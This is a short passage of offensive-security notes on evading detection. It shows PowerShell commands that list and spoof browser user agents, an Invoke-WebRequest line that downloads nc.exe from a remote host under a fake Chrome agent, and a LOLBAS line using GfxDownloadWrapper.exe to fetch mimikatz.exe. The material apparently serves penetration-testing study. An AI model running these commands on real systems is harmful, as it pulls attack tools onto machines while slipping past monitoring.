Evading Detection
Changing User Agent
Listing out User Agents
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | flInvoking Invoke-WebRequest to download nc.exe using a Chrome User Agent
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::ChromeInvoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"LOLBAS / GTFOBins
GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"Last updated